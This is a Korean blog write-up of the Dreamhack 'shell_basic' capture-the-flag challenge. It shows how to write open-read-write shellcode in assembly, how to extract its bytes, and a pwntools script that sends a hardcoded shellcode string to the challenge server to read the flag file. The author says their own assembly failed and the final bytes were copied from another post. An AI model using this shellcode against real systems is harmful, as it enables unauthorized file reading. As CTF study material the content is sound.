System Hacking/DreamHack

[Dreamhack] shell_basic

hanbunny 2025. 3. 10. 21:08

Description

입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.

main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.

flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.
감 잡기 어려우신 분들은 아래 코드를 가지고 먼저 연습해보세요!

플래그 형식은 DH{...} 입니다. DH{와 }도 모두 포함하여 인증해야 합니다.

 


 

어셈블리어로 먼저 shellcode 파일을 생성해줌.

nano write.asm //write.asm 파일 생성

 

 

먼저 문제를 보면 flag위치는 '/home/shell_basic/flag_name_is_loooooong'라고 함.

이 파일을 열어봐야 하기 때문에 orw shellcode를 작성함.

 

64비트 레지스터는 최대 8바이트(16자리 16진수)만 저장할 수 있기 때문에, 8바이트씩 나눠서 문자열을 push해줌.

 

ORW shellcode 작성은https://hanbunny.tistory.com/66 을 참고.

 

[시스템 해킹] 셸코드(Shellcode) 1- orw 셸코드 작성 open & read & write

셸코드(Shellcode)?익스플로잇을 위해 제작된 어셈블리어로 작성된 작은 코드 조각임.주로 셸을 획득하기 위해 셸코드를 사용한다. *익스플로잇은 소프트웨어나 하드웨어의 취약점을 이용해 개발

hanbunny.tistory.com

 

 

# write.asm 파일을 64비트 ELF 형식의 오브젝트 파일로 컴파일
nasm -f elf64 write.asm

# 컴파일된 오브젝트 파일(write.o)에서 .text 섹션(코드 부분)만 추출하여 write.bin 파일로 저장
objcopy --dump-section .text=write.bin write.o

# write.bin 파일의 16진수 덤프를 출력하여 바이너리 내용을 확인
# 이 단계에서 추출된 기계어 코드(셸코드)를 확인할 수 있음
xxd write.bin

 

어셈블리 언어를 CPU가 이해할 수 있게 하려면 기계어로 변환이 필요하다.

리눅스에서는 ELF 형식의 오브젝트 파일을 사용하기 때문에 ELF로 컴파일함.

 

후에 컴파일된 파일에서 실행 코드만 추출하기 위해  objcopy를 사용해 .text 섹션만 추출.

 

xxd를 사용해 16진수 형태 확인.

쉘코드 16진수 값 확인

 

이제 이 16진수 형태를 기계어로 변환해야한다.

 

근데 flag값이 안나와서 다른 포스팅 과 비교해보니 16진수가 달랐음.

그래서 다른 포스팅에서 나온 코드를 사용해서 컴파일해도 계속 저렇게 나와서 답을 가져와서 pwntools로 연결해줌.

from pwn import *

context.arch = "amd64"
context.log_level = 'debug'
p = remote("host3.dreamhack.games", 포트번호)
shell = b'\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05'
p.recvuntil('shellcode: ')
p.sendline(shell)
p.interactive()

 

\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05